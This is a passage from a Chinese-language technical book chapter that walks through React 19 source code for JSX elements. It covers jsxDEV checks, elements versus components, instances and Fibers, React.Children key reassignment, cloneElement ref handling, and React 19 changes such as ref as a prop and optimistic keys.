      if (Object.freeze) Object.freeze(children);  // 冻结静态 children 数组
    } else {
      console.error('React.jsx: Static children should always be an array...');
    }
  } else {
    validateChildKeys(children);
  }
}

② key spread 告警(这是 createElement 没有、而 jsxDEV 独有的):

// packages/react/src/jsx/ReactJSXElement.js:513-537
if (hasOwnProperty.call(config, 'key')) {
  const componentName = getComponentNameFromType(type);
  ...
  console.error(
    'A props object containing a "key" prop is being spread into JSX:\n' +
      '  let props = %s;\n  <%s {...props} />\n' +
      'React keys must be passed directly to JSX without using spread: ...',
    ...
  );
}

这就是 React 19 强烈推荐的写法:<Comp key={k} {...rest} /> 而不是把 key 塞进 rest 再 spread。后者会触发此告警,且在 enableOptimisticKey 下优先级处理也更微妙(见 2.10 节)。

③ 与 createElement 相同的 key 提取、props 拷贝、key 告警访问器:

// packages/react/src/jsx/ReactJSXElement.js:539-602(节选)
let key = null;
if (maybeKey !== undefined) { ... key = '' + maybeKey; }
if (hasValidKey(config)) { ... key = '' + config.key; }

let props;
if (!('key' in config)) { props = config; }
else { props = {}; for (const propName in config) { if (propName !== 'key') props[propName] = config[propName]; } }

if (key) {
  const displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;
  defineKeyPropWarningGetter(props, displayName);
}

return ReactElement(type, key, props, getOwner(), debugStack, debugTask);

可以看到,jsxDEVImpl 与 createElement 在"key 提拔 + props 拷贝 + key 告警 getter + 调用 ReactElement"这条主线上高度同源,区别只在开发期校验项与 children 来源。

2.6.4 getOwner 与 createTask:jsxDEV 独有的调试链路

getOwner()(ReactJSXElement.js:50-59)从 ReactSharedInternals.A(即当前的 dispatcher)取出"当前组件 owner"。配合 createTask(ReactJSXElement.js:22-27,包装 console.createTask)与 getTaskName(ReactJSXElement.js:29-48)生成浏览器性能面板里可读的 <App>/<Foo> 任务名。这些 owner-stack 能力是 React 19 错误可读性大幅提升的幕后功臣,也是开发期才有的开销(生产 getOwner 直接 return null,见 50-59 行)。

2.6.5 didWarnAboutOldJSXRuntime:升级提示

在 createElement 里(2.5.3 已见),若检测到 config 上出现 __self(旧 JSX 转换的特征标记),会告警提示升级到新转换。这是一个"软迁移"机制:即便依赖没升级,新 React 也能跑,只是给个提醒。注意它有个防误报细节:若 config 含 key 则不告警(因为新转换有时也会为了"静态 key 与 spread key 的优先级"而输出 createElement,见 ReactJSXElement.js:640-645 注释)。


2.7 元素 vs 组件 vs 实例 vs Fiber:四者必须分清

这是 React 初学者乃至不少中高级开发者最容易混淆的四概念。本章既然讲元素,就必须把它和另外三者彻底划清边界——否则第 3、4 章的 Fiber 树你会读得云里雾里。

2.7.1 四个概念的定义

概念英文它是什么由谁创建生命周期数量关系
元素Element描述"在某个位置渲染什么"的不可变纯数据对象createElement/jsx/jsxDEV/cloneElement每次渲染都重新生成(因为是纯数据,很廉价)一次渲染可能产生成千上万个,临时存在,用完即弃
组件Component函数或 class,接收 props 返回元素(描述 UI 的"配方")开发者手写,或 forwardRef/memo/lazy 等包装与应用同寿(代码层面的定义)一个组件类型在整棵应用里通常只有一个定义
实例Instanceclass 组件 new 出来的对象(持有 state、生命周期、this)React 内部 constructClassInstance(ReactFiberClassComponent.js)与组件挂载到 DOM 的时长一致每个被挂载的 class 组件对应一个实例;函数组件没有实例
FiberFiber(纤程)React 内部的工作单元对象,承载"组件类型 + props + 状态 + 副作用标记 + 兄弟/子指针"等所有协调信息createFiberFromElement 等(ReactFiber.js)跨多次渲染持久存在,可被复用/复用(alternate)每个被渲染的元素(几乎)对应一个 Fiber;Fiber 树随更新而持续演进

2.7.2 一张关系图

flowchart TD
    subgraph 代码层[&#34;代码层(开发者编写,长期存在)&#34;]
        C[&#34;组件 Component<br/>function Foo(){} / class Foo{}&#34;]
    end
    subgraph 描述层[&#34;描述层(每次渲染重新产生,不可变)&#34;]
        E[&#34;元素 Element<br/>jsx('div', ...)/createElement(Foo, ...)&#34;]
        C -->|&#34;被调用 / 被当作 type&#34;| E
    end
    subgraph 协调层[&#34;协调层(内部工作单元,跨渲染复用)&#34;]
        F[&#34;Fiber<br/>createFiberFromElement&#34;]
        E -->|&#34;Reconciler 消费 element.type/props/key&#34;| F
    end
    subgraph 运行层[&#34;运行层(真实对象,随挂载存在)&#34;]
        I[&#34;实例 Instance(仅 class 组件)<br/>new Foo()&#34;]
        DOM[&#34;真实 DOM 节点(宿主组件)&#34;]
        F -->|&#34;beginWork 中 construct/mount&#34;| I
        F -->|&#34;commit 阶段创建/更新&#34;| DOM
    end
    style E fill:#ffe9a8
    style F fill:#bfe3ff

2.7.3 逐对辨析

元素 ≠ 组件

  • 组件是"函数/类",是行为;元素是"对象",是行为在某个时刻产出的快照。
  • <Foo /> 是 JSX,编译后变成 jsx(Foo, ...),返回一个元素。这个元素的 type 字段等于 Foo(组件本身)。所以"渲染一个组件"的本质是"创建一个 type 指向该组件的元素"。
  • 组件会被 React 调用(函数组件被调用、class 组件被 new),而元素永远不会被调用——它只是被读取。

元素 ≠ 实例

  • 元素没有 state、没有方法、没有生命周期。它就是数据。
  • 只有 class 组件在被挂载时才会产生实例(this 指向的对象,ReactBaseClasses.js:19-27 的 Component 构造函数)。函数组件没有实例——这是 React Hooks 能成立的前提:函数组件每次渲染都"重跑函数体",不存在一个持久 this,所以用 useState 等把状态存在 Fiber 上(第 5/6 章展开)。
  • 你给元素设置的 ref,在 class 组件上指向它的实例;在宿主组件(如 'div')上指向真实 DOM 节点;在 19 之前,函数组件不支持 ref(除非 forwardRef)。在 React 19,ref 作为普通 prop,对函数组件而言就是"被透传到真实节点/被 useImperativeHandle 捕获的 prop"。

元素 ≠ Fiber

  • 元素是一次性的、不可变的、描述性的;Fiber 是持久的、可变的、承载协调状态的工作单元。
  • 一次渲染里,同一个组件可能被渲染出 100 个元素,但 React 会尽量复用同一个 Fiber(通过 createWorkInProgress 的 alternate 机制),只更新其上的 pendingProps/memoizedProps/flags 等。
  • 元素被消费后即被丢弃;Fiber 会一直活着,直到组件从树中卸载。
  • 关键句:元素是"配方卡片",Fiber 是"厨师的工作台账"。卡片用一次就扔,台账长期保存并不断修订。

实例 ≠ Fiber

  • 实例只存在于 class 组件;Fiber 存在于所有被渲染的节点(宿主组件、函数组件、class 组件、Fragment、Portal……)。
  • 一个 Fiber 通过 stateNode 字段指向"它对应的真实对象"——对 class 组件,stateNode 是实例;对宿主组件,stateNode 是真实 DOM 节点;对函数组件,stateNode 通常为 null(状态在 hooks 链表上,不在 stateNode)。

2.7.4 一个贯穿四者的具体例子

function App() {
  return <Foo name="a" />;   // ① 元素:jsx(Foo, {name:'a'}),其 type===Foo
}
class Foo extends React.Component {
  render() { return <div>{this.props.name}</div>; }
}

渲染时:

  1. React 调用 App()(组件),得到元素 e1 = {$$typeof, type: Foo, props:{name:'a'}}。
  2. 协调器看到 e1.type === Foo 是 class 组件,于是对应的 Fiber fFoo 通过 constructClassInstance 创建 Foo 实例 iFoo = new Foo(...)。
  3. React 调用 iFoo.render()(实例方法),得到元素 e2 = {$$typeof, type:'div', props:{children:'a'}}。
  4. 协调器为 e2 创建/复用 Fiber fDiv,最终 fDiv.stateNode 指向真实 DOM <div>a</div>。

四者各司其职,缺一不可。


2.8 React.Children:不透明性、map/forEach/count/toArray 与 key 重分配

很多人以为 props.children 就是"我能随意遍历的数组"。这是错的。props.children 的真实类型可能是:单个元素、元素数组、null、字符串、数字、嵌套数组、带有迭代器的对象、甚至 undefined。React.Children(packages/react/src/ReactChildren.js)就是为"在不关心这些差异的前提下安全遍历/计数/扁平化 children"而生的工具集。

2.8.1 为什么 children 是"不透明的"

因为 JSX 把它编译成不同形态:

写法props.children 的真实形态
<A>text</A>字符串 'text'
<A>{null}</A>null(无此字段,见 2.5.4)
<A><B/></A>单个元素(不是数组)
<A><B/><C/></A>元素数组
<A>{cond ? <B/> : <C/>}</A>可能是元素,也可能是 false/null(布尔值会被视为空)
<A>{list.map(x => <B key={x}/>)}</A>元素数组(里面每个是数组项)
<A>{[<B/>, <C/>]}</A>数组(但 <A> 的 children 是"一个数组",而不是"两个子元素"——这点极其容易踩坑)

最后一行是经典陷阱:<A>{[<B/>, <C/>]}</A> 中,props.children 是 [elB, elC] 这一个数组,对 A 而言它是单个 child。而 <A><B/><C/></A> 中,props.children 是 [elB, elC] 这一个数组——咦,看起来一样?其实一致,因为 createElement 第 3 步把多参数 children 收成了数组。真正的坑在嵌套数组(见 2.8.5)。

React.Children 的价值:它统一了"单个/多个/嵌套/可迭代"的差异,让你用一致的方式处理 children,并且——最关键的——它会重新分配 key,使结果扁平化且全局唯一。

2.8.2 mapIntoArray:所有 API 的引擎

mapChildren / forEachChildren / toArray / onlyChild 全都建立在一个核心递归 mapIntoArray(ReactChildren.js:155-349)之上。它的职责:递归遍历任意形状的 children 树,对每一个"叶子节点"调用回调,把结果收集进一个扁平数组,并为每个结果元素重新计算一个"带前缀的全局唯一 key"。

先看入口们:

// packages/react/src/ReactChildren.js:366
function mapChildren(children, func, context) {
  if (children == null) return children;     // null/undefined 直接返回
  const result = [];
  let count = 0;
  mapIntoArray(children, result, '', '', function (child) {
    return func.call(context, child, count++);
  });
  return result;
}

// packages/react/src/ReactChildren.js:392
function countChildren(children) {
  let n = 0;
  mapChildren(children, () => { n++; });
  return n;
}

// packages/react/src/ReactChildren.js:415
function forEachChildren(children, forEachFunc, forEachContext) {
  mapChildren(children, function () {
    forEachFunc.apply(this, arguments);   // 不返回,仅副作用
  }, forEachContext);
}

// packages/react/src/ReactChildren.js:437
function toArray(children) {
  return mapChildren(children, child => child) || [];
}

可以看到 forEach 与 toArray 本质都是 mapChildren 的特例:forEach 的回调不返回值(只执行副作用),toArray 的回调直接返回 child 本身。

2.8.3 mapIntoArray 的类型判别与递归

// packages/react/src/ReactChildren.js:162-198
const type = typeof children;
if (type === 'undefined' || type === 'boolean') children = null;   // 布尔→空
let invokeCallback = false;

if (children === null) {
  invokeCallback = true;            // null 也作为"一个叶子"回调(返回 null)
} else {
  switch (type) {
    case 'bigint': case 'string': case 'number':
      invokeCallback = true;        // 原始值直接回调
      break;
    case 'object':
      switch ((children as any).$$typeof) {
        case REACT_ELEMENT_TYPE:    // 元素 → 回调
        case REACT_PORTAL_TYPE:     // Portal → 回调
          invokeCallback = true;
          break;
        case REACT_LAZY_TYPE:       // lazy → 解析后递归
          const payload = children._payload;
          const init = children._init;
          return mapIntoArray(init(payload), array, ...);
      }
  }
}

要点:

  • undefined/boolean → 当作 null:这就是为什么你在 JSX 里写 {cond && <X/>},当 cond 为假时渲染为空而不报错——false/null/true 都被元素工厂与 React.Children 视为"无内容"。
  • string/number/bigint 也是合法 child:文本节点会作为叶子回调。
  • lazy 会被解析后递归:mapIntoArray 直接 init(payload) 拿到解析后的 children 再递归,对调用者完全透明。
  • REACT_ELEMENT_TYPE/REACT_PORTAL_TYPE 才会触发 invokeCallback:即"到了真正的叶子元素"。

2.8.4 回调与 key 重分配的核心逻辑

// packages/react/src/ReactChildren.js:200-265(节选,已精简注释)
if (invokeCallback) {
  const child = children;
  let mappedChild = callback(child);
  const childKey = nameSoFar === '' ? SEPARATOR + getElementKey(child, 0) : nameSoFar;

  if (isArray(mappedChild)) {
    // 回调返回数组:继续扁平化
    let escapedChildKey = '';
    if (childKey != null) escapedChildKey = escapeUserProvidedKey(childKey) + '/';
    mapIntoArray(mappedChild, array, escapedChildKey, '', c => c);
  } else if (mappedChild != null) {
    if (isValidElement(mappedChild)) {
      if (__DEV__) { /* ... key 校验 ... */ }
      const newChild = cloneAndReplaceKey(
        mappedChild,
        escapedPrefix +
          (mappedChild.key != null && (!child || child.key !== mappedChild.key)
            ? escapeUserProvidedKey('' + mappedChild.key) + '/'
            : '') +
          childKey,
      );
      // ...
      mappedChild = newChild;
    }
    array.push(mappedChild);
  }
  return 1;
}

这是整章关于 React.Children 最关键的机制:key 重分配。

cloneAndReplaceKey(ReactJSXElement.js:748-764)用新 key 克隆元素:

// packages/react/src/jsx/ReactJSXElement.js:748
export function cloneAndReplaceKey(oldElement, newKey) {
  const clonedElement = ReactElement(
    oldElement.type,
    newKey,
    oldElement.props,
    !__DEV__ ? undefined : oldElement._owner,
    __DEV__ && oldElement._debugStack,
    __DEV__ && oldElement._debugTask,
  );
  if (__DEV__) {
    if (oldElement._store) {
      clonedElement._store.validated = oldElement._store.validated;  // 继承 validated 标记
    }
  }
  return clonedElement;
}

于是 React.Children.map 返回的每个元素都被换上了一个全新的、带层级前缀的 key,形如 .$.0:1/foo。这个 key 由两部分拼成:

  1. escapedPrefix:来自父层递归传下来的前缀(嵌套越深越长)。
  2. childKey = nameSoFar 或 SEPARATOR + getElementKey(child, 0):getElementKey(ReactChildren.js:74-93)的逻辑是——若元素自带有效 key(且非 REACT_OPTIMISTIC_KEY),则用 escape('' + element.key);否则退化为索引 index.toString(36)。
// packages/react/src/ReactChildren.js:74
function getElementKey(element, index) {
  if (typeof element === 'object' && element !== null && element.key != null) {
    if (enableOptimisticKey && element.key === REACT_OPTIMISTIC_KEY) {
      if (__DEV__) console.error("React.Children helpers don't support optimisticKey.");
      return index.toString(36);
    }
    if (__DEV__) checkKeyStringCoercion(element.key);
    return escape('' + element.key);
  }
  return index.toString(36);
}

escape(ReactChildren.js:41-53)把 key 中的 =、: 转义成 =0、=2,并在前面加 $;escapeUserProvidedKey(ReactChildren.js:62-65)把 / 翻倍。这些转义是为了让"用户提供的 key"与"React 内部生成的索引路径"在字符串拼接后不会冲突(例如用户 key 里若含 :,会被转义,避免和分隔符 : 混淆)。

2.8.5 key 重分配的"坑":为什么 React.Children.map 后 key 全变了

坑的本质:React.Children.map 返回的数组里,每个元素的 key 都不再是原始 key,而是"带路径前缀的复合 key"。

function App() {
  const children = [<li key="a">A</li>, <li key="b">B</li>];
  const mapped = React.Children.map(children, c => c);
  console.log(mapped.map(e => e.key));
  // 输出类似 ['.$.a', '.$.b'](带前缀,看起来怪异但唯一)
}

这带来两个容易被忽视的后果:

  1. 如果你把 map 的结果再当成 children 渲染,React 看到的 key 是复合 key。由于复合 key 全局唯一,通常没问题;但如果你期望"外层 key 决定身份",就会被绕晕。
  2. map 回调里返回新元素时,原 key 会被丢弃并按新位置重分配。例如你想给每个 child 外包一层 <li>,map 会基于"新数组的索引位置"重新生成 key,于是即便原 children 带了良好 key,外层包裹后的 key 也会变成 .$.0、.$.1……这就是为什么"用 React.Children.map 包一层容器"会丢失你精心设计的 key。

规避方案:

  • 若只是想"遍历/计数"而不改结构,用 React.Children.forEach / count,它们不改变 key 也不重新克隆(它们都是 mapChildren 的特例,但 forEach 的回调返回值被忽略,toArray 虽克隆但保留结构——注意即便 toArray 也会重分配 key!)。
  • 若想保留原始 key,不要依赖 React.Children.map 的自动重分配;在回调里手动把原始 child 直接返回(toArray 就是这么做的:child => child),但仍会被重分配 key——所以如果你需要"原样 key 的扁平数组",更稳妥的是自己递归处理,或使用 React.Children.toArray 但明确接受"key 会被规范化"。
  • 第 4 章会讲:Diff 算法依赖 key 判断"这是不是同一个元素"。React.Children 的 key 规范化保证了即使你丢掉了 key,React 也能用"索引路径"兜底,但这会让列表移动/重排时失去复用,所以"列表项务必手写稳定 key"这条铁律不因 React.Children 而豁免。

2.8.6 only 与"对象作为 children"的报错

onlyChild(ReactChildren.js:455-463)要求输入的必须是一个且只有一个 isValidElement 的元素,否则抛错。它常用于"我的组件只接受一个子元素"的语义约束(如 <Slider><Slide/></Slider>)。

mapIntoArray 在遍历到"非元素、非文本、不可迭代的对象"时(ReactChildren.js:320-345)会抛错:

Objects are not valid as a React child (found: object with keys {...}). If you meant to render a collection of children, use an array instead.

这正是你偶尔忘记 return、或把一个对象直接当 children 时看到的经典报错。注意它区分了 [object Object](普通对象)和具体构造类型,给出更友好的"object with keys {a, b}"提示。

还有一处细节:Map 作为 children 会被明确告警(ReactChildren.js:292-303、ReactChildFiber.js 也有类似告警),因为 Map.entries 会被 getIteratorFn 识别成迭代器,但 React 不支持直接渲染 Map。


2.9 cloneElement:语义与 ref 丢失陷阱

cloneElement(packages/react/src/jsx/ReactJSXElement.js:770-854)用于"以某个已有元素为模板,覆盖部分 props/key/ref,返回新元素"。它是 React.Children.map 内部包裹元素时的底层手段(上一节 cloneAndReplaceKey 是更轻量的"只换 key"版本,而 cloneElement 是"全功能克隆")。

2.9.1 签名与流程

export function cloneElement(element, config, children) {
  // 0. 校验 element 非 null/undefined
  // 1. 拷贝 element.props → props
  // 2. 提取 key(保留原 key,除非 config 覆盖);owner → 原 owner
  // 3. 处理 config:若含有效 ref,则 owner = getOwner()(当前组件成为新 owner)
  // 4. 把 config 其余属性覆盖进 props(跳过 key/__self/__source,且忽略 undefined ref)
  // 5. children 多参归一化(覆盖原 children)
  // 6. 调用 ReactElement 工厂
  // 7. 开发期:对新 children 做 validateChildKeys
}

2.9.2 逐块解读

// packages/react/src/jsx/ReactJSXElement.js:770
export function cloneElement(element, config, children) {
  if (element === null || element === undefined) {
    throw new Error(`The argument must be a React element, but you passed ${element}.`);
  }

  let propName;
  const props = assign({}, element.props);   // ① 浅拷贝原 props
  let key = element.key;                      // ② 保留原 key
  let owner = !__DEV__ ? undefined : element._owner;  // ② 保留原 owner

  if (config != null) {
    if (hasValidRef(config)) {
      owner = __DEV__ ? getOwner() : undefined;   // ③ 一旦覆盖 ref,owner 改为当前组件
    }
    if (hasValidKey(config)) {
      if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) key = REACT_OPTIMISTIC_KEY;
      else {
        if (__DEV__) checkKeyStringCoercion(config.key);
        key = '' + config.key;                     // 覆盖 key
      }
    }
    for (propName in config) {
      if (
        hasOwnProperty.call(config, propName) &&
        propName !== 'key' &&
        propName !== '__self' &&
        propName !== '__source' &&
        !(propName === 'ref' && config.ref === undefined)  // ④ undefined ref 被忽略(兼容)
      ) {
        props[propName] = config[propName];        // 覆盖 props
      }
    }
  }

  const childrenLength = arguments.length - 2;
  if (childrenLength === 1) props.children = children;        // ⑤ 覆盖 children
  else if (childrenLength > 1) { /* 收成数组,同 createElement */ }

  const clonedElement = ReactElement(element.type, key, props, owner, ...);
  for (let i = 2; i < arguments.length; i++) validateChildKeys(arguments[i]); // ⑦ 校验
  return clonedElement;
}

2.9.3 cloneElement 的语义要点

  1. 它是浅合并,不是深合并:props = assign({}, element.props) 后,config 里的属性覆盖同名属性。如果原 props 里有个对象字段(如 style),config.style 会整体替换它,而不是合并。这与 Object.assign 的语义一致,是常见误用点(想"增量改 style"得自己 {...el.props.style, ...cfg.style})。
  2. key 默认保留原值,可被 config.key 覆盖:这就是"为什么 cloneElement 后的元素 key 不变"——除非你显式传 key。
  3. children 默认保留原值,但若传入新 children 则覆盖:cloneElement(<X>a</X>, null, 'b') 得到 <X>b</X>。

2.9.4 ref 丢失陷阱(本章重点坑之一)

注意第 ③ 步:

if (hasValidRef(config)) {
  owner = __DEV__ ? getOwner() : undefined;
}

原始元素的 ref 不会被自动保留到克隆元素。原因:props = assign({}, element.props) 会把 props.ref 拷过去(在 React 19,ref 是普通 prop,随 props 一起拷贝),所以如果你只是 cloneElement(el) 不传 config,原 ref 会保留(因为它在 props.ref 里)。

但陷阱出现在你传了 config 且 config 里没有 ref 时:

  • 因为 ref 在 19 里是 props.ref,assign({}, element.props) 已经把它带过来了。所以"不带 ref 的 config"并不会丢 ref——这点和 19 之前的版本不同。
  • 真正会丢 ref 的场景:你用 config 覆盖了 props,但 config 里 ref 是 undefined。看第 ④ 步:!(propName === 'ref' && config.ref === undefined)——明确忽略 undefined 的 ref。也就是说 cloneElement(el, {ref: undefined}) 不会清空 ref(向后兼容:避免误清)。而 cloneElement(el, {ref: newRef}) 会用 newRef 覆盖(同时触发 owner = getOwner(),因为 hasValidRef 为真)。

历史上的经典 ref 丢失陷阱(React 18 及更早):

在 React 18 及以前,ref 是元素的顶层字段(不是 props),而 cloneElement 的 assign({}, element.props) 不会拷贝顶层 ref。于是:

const cloned = cloneElement(<Child ref={r} />, {id: 1});
// 在 18 里:cloned.ref 是 null!ref 被无声吞掉

这是无数 "ref 不见了" bug 的根源,且编译器不会报错(因为 ref 不在 props 里,浅拷贝自然漏掉)。React 19 把 ref 改成普通 prop,从机制上消灭了这个陷阱——因为 ref 现在随 props 一起拷贝,cloneElement 默认就能带上 ref。这正是 2.9 节开头说的"ref 成为普通 prop"带来的直接收益之一。

现代(React 19)的正确认知:

  • cloneElement(el)(无 config):ref 随 props.ref 保留。✅
  • cloneElement(el, {ref: anotherRef}):用 anotherRef 替换,并把 owner 设为当前组件。✅
  • cloneElement(el, {ref: undefined}):被显式忽略,不改动原 ref(兼容)。✅
  • 若你手动 assign 去掉了 props.ref,那当然会丢——但这是你自己的锅,不是 API 的。

最佳实践:需要"转发/克隆并保留 ref"时,直接用 cloneElement(child) 即可;若需替换 ref,显式传 ref;不要依赖已被废弃的顶层 element.ref 读取。

2.9.5 isValidElement 在这里的隐性作用

cloneElement 不校验 element 是否真的是元素——它只检查非 null/undefined。如果你传一个普通对象,element.props 会是 undefined,assign({}, undefined) 得到 {},随后 element.type 是 undefined(无效 type),最终返回一个"畸形元素",渲染时会报错。所以调用 cloneElement 前,自己用 isValidElement 守卫是好习惯(第 1 章/第 3 章代码里 React 内部大量这样做)。


2.10 React 19 在元素与 JSX 上的变化(重点:defaultProps、key、ref as prop、Fragment ref、optimistic key)

这是本章"与版本强相关"的核心节。React 19 在元素/JSX 层做了多项破冰式改动,源码里几乎每一处都落在我们已经读过的代码上。

2.10.1 ref 成为普通 prop(enableRefAsProp)

旧(≤18):ref 是元素的顶层保留字段(element.ref),不在 props 上;且 props.ref 会被协调器特殊处理(从 props 剥离)。 新(19):ref 就是 props.ref。看 ReactElement 工厂(ReactJSXElement.js:170-238)——生产环境 ref 仍是顶层字段(兼容),但开发环境 ref 是访问器,且工厂开头就写:

Ignore whatever was passed as the ref argument and treat props.ref as the source of truth.

即真相在 props.ref。协调器侧,coerceRef(ReactChildFiber.js:291-299)也改为直接读 props.ref:

// packages/react-reconciler/src/ReactChildFiber.js:291
function coerceRef(workInProgress, element) {
  const refProp = element.props.ref;
  workInProgress.ref = refProp !== undefined ? refProp : null;
}

其注释更是直言:

TODO: With enableRefAsProp now rolled out, we shouldn't use the ref field. We should always read the ref from the prop.

影响面:

  • 函数组件现在可以直接 function Input({ref}) {...} 接收 ref(配合 useImperativeHandle 或把它透传到原生节点),无需 forwardRef。(forwardRef 在新版仍可用但已非必需。)
  • 类组件的 this.refs、字符串 ref 等旧机制继续按 ReactBaseClasses.js 的规则工作,但获取 ref 的底层统一走 props.ref。
  • 直接读 element.ref 在开发期告警(2.3.2 已讲)。

2.10.2 defaultProps:函数组件不再被官方支持(源码权威结论)

结合本章与协调器源码,给出精确结论:

  1. createElement 仍保留 legacy 的 defaultProps 解析循环(ReactJSXElement.js:703-711),且对所有 type 无条件生效(不区分函数/类):

    if (type && type.defaultProps) {
      const defaultProps = type.defaultProps;
      for (propName in defaultProps) {
        if (props[propName] === undefined) props[propName] = defaultProps[propName];
      }
    }
    
  2. 协调器只对类组件做权威的 defaultProps 解析。resolveClassComponentProps(ReactFiberClassComponent.js:1187-1220)是类组件 props 的"官方解析点",其中显式循环 Component.defaultProps(ReactFiberClassComponent.js:1204-1217)。函数组件路径(updateFunctionComponent / mountIndeterminateComponent,见 ReactFiberBeginWork.js:1453、ReactFiberBeginWork.js:450)完全信任元素携带的 props,不再二次解析 defaultProps。

  3. 因此:在 React 19.3.1 中,一个函数组件若设置了 Component.defaultProps,它的默认值会经 createElement 的 legacy 循环被合并进 props(因为该循环不区分类型),从而"表面上还能生效"。但是——

  4. React 19 官方升级指南明确:函数组件不再支持 defaultProps,推荐改用解构默认值或默认参数:

    // ❌ React 19 不推荐
    function Button(props) {}
    Button.defaultProps = { color: 'blue' };
    
    // ✅ React 19 推荐
    function Button({color = 'blue'}) { ... }
    

    源码层面的事实是:legacy 循环仍在 createElement,但这是过渡性遗留代码,且函数组件权威解析路径(协调器)已不再碰 defaultProps。源码注释与 index.js 的导出、resolveClassComponentProps 的定位共同证明——defaultProps 在 19 里是"类组件专属、函数组件退出"的状态。本章以源码为准记录:createElement 的 legacy 解析对所有 type 生效;但函数组件不应再依赖它,因为它的"官方"解析入口已移除。

为什么这样改? 因为 defaultProps 与函数组件的解构默认值语义重叠,而 defaultProps 需要在元素创建时(运行时)额外做一次遍历与对象拷贝(ReactJSXElement.js:703-711 的 for-in),对热路径是纯开销;解构默认值由 JS 引擎直接完成,零额外成本。React 19 借此统一了"默认值的来源"。

类组件 defaultProps 仍在工作:类组件因为要走 resolveClassComponentProps,且 ReactFiberCommitEffects.js:351 等多处仍检查 !finishedWork.type.defaultProps 来做优化判断,所以 static defaultProps 对类组件依旧有效(测试 ReactLazy-test.internal.js:1123 "resolves props for class component with defaultProps" 即佐证)。

2.10.3 key 的自动分配与 REACT_OPTIMISTIC_KEY(乐观 key)

React 19 引入了一个新符号 REACT_OPTIMISTIC_KEY(ReactSymbols.js:69-71):

export const REACT_OPTIMISTIC_KEY: ReactOptimisticKey = Symbol.for('react.optimistic_key');

它的用途是支持编译器为静态列表自动分配"乐观 key",从而在"不知道最终 key 是什么"的情况下也能让协调器先做可恢复的工作,待真实 key 出现后再校正身份(ReactChildFiber.js 里 enableOptimisticKey 相关的 mapRemainingChildren、updateFromMap、reconcileSingleElement 都处理"旧 fiber 是乐观 key"的情形,如 ReactChildFiber.js:484-493、1714-1717)。

在元素工厂层面的体现:jsxProd / jsxDEVImpl / createElement / cloneElement 在提取 key 时都有:

if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {
  key = REACT_OPTIMISTIC_KEY;
}

即一旦 key 是乐观 key 符号,就原样保留这个 Symbol 作为 key(不转成字符串)。它体现了 React 19 对"编译期静态分析 + 运行时可恢复协调"的投入——这是面向 React Compiler 与未来优化的基础设施。

对普通开发者:REACT_OPTIMISTIC_KEY 是内部机制,你通常不会直接接触;但它解释了"为什么有时 React 能在一个列表的真实 key 尚未确定时就开始工作"。

2.10.4 Fragment 支持 ref(enableFragmentRefs)

React 19 允许 <Fragment ref={...}>(在 enableFragmentRefs 开启时)。协调器侧 updateElement(ReactChildFiber.js:587-599)与 reconcileSingleElement(ReactChildFiber.js:1719-1737)在类型是 Fragment 时会 coerceRef(updated, element),且 validateFragmentProps(ReactChildFiber.js:234-280)在 19 的 enableFragmentRefs 下允许 Fragment 携带 ref。

元素工厂层面:Fragment 也是一个带 $$typeof: REACT_FRAGMENT_TYPE 的"类型",其 key/ref 走与普通元素相同的提拔逻辑。开发期还会校验"Fragment 除了 key/ref/children 不能有其他 prop"(ReactChildFiber.js:240-278),否则报:

Invalid prop %s supplied to React.Fragment. React.Fragment can only have key, ref, and children props.

2.10.5 key spread 告警与"静态 key 优先于 spread key"

jsxDEVImpl 会就 key 被 spread 进 props 报告警(ReactJSXElement.js:513-537)。这背后是 React 19 对"key 来源优先级"的明确规则:

  • 编译器通常把显式 key={...} 提升为 jsx(type, config, key) 的第三参 maybeKey——这是最高优先级。
  • 若 key 来自 spread({...props} 里带 key),则由 config.key 路径处理,且该路径在开发期告警。
  • 当两者并存(<div key="x" {...props} /> 且 props 也含 key),jsxProd 的逻辑(ReactJSXElement.js:300-320)是:maybeKey 优先,但若是乐观 key 则让 config.key 生效。这正是 createElement 里 didWarnAboutOldJSXRuntime 注释(ReactJSXElement.js:640-645)提到的"现代 JSX 转换有时输出 createElement 以保留静态 key 与 spread key 的优先级"的由来。

2.10.6 isValidElement 与 $$typeof 不变

isValidElement(ReactJSXElement.js:891-897)的判断依旧是 object.$$typeof === REACT_ELEMENT_TYPE,REACT_ELEMENT_TYPE 仍是 Symbol.for('react.transitional.element')。这是跨 React 版本"防伪"的基础,19 未改(见 2.4 节)。

2.10.7 element.ref 访问废弃告警

开发期读取 element.ref 走 elementRefGetterWithDeprecationWarning(ReactJSXElement.js:143-160),打印"Accessing element.ref was removed in React 19"。这是把 ref 从"元素顶层字段"迁移到"props 字段"的过渡告警,未来版本 element.ref 将被彻底移除。


2.11 元素如何流入 Reconciler(点到为止,为第 3、4 章铺垫)

本章聚焦"元素的生产",但这里必须展示"元素被消费"的入口,否则知识链断裂。完整算法留待第 4 章(Diff 与 Reconciliation)深入。

2.11.1 入口:reconcileChildFibers

当某个 Fiber(父节点)要"协调它的 children"时,会调用 reconcileChildFibers(ReactChildFiber.js:1854 的 reconcileChildFibersImpl)。它根据 newChild(即传入的元素 / 元素数组 / 文本 / 可迭代对象 / thenable / context)的类型分派:

// packages/react-reconciler/src/ReactChildFiber.js:1884-1921(节选)
if (typeof newChild === 'object' && newChild !== null) {
  switch (newChild.$$typeof) {
    case REACT_ELEMENT_TYPE:
      return placeSingleChild(
        reconcileSingleElement(returnFiber, currentFirstChild, newChild, lanes),
      );
    case REACT_PORTAL_TYPE:
      return placeSingleChild(reconcileSinglePortal(...));
    case REACT_LAZY_TYPE:
      // 解析 lazy 后递归
  }
  if (isArray(newChild)) return reconcileChildrenArray(...);     // 数组 → 数组协调
  if (getIteratorFn(newChild)) return reconcileChildrenIteratable(...); // 可迭代
  ...
}

注意它一上来就读 newChild.$$typeof——这正是 2.4 节防伪标签的落地点。不是元素(REACT_ELEMENT_TYPE/REACT_PORTAL_TYPE/REACT_LAZY_TYPE)的对象会落到 throwOnInvalidObjectType(ReactChildFiber.js:301-324),给出一个明确的"Objects are not valid as a React child"报错。

2.11.2 单元素协调:reconcileSingleElement

// packages/react-reconciler/src/ReactChildFiber.js:1703
function reconcileSingleElement(returnFiber, currentFirstChild, element, lanes) {
  const key = element.key;          // ① 读元素的 key
  let child = currentFirstChild;
  while (child !== null) {
    if (child.key === key || (enableOptimisticKey && child.key === REACT_OPTIMISTIC_KEY)) {
      const elementType = element.type;
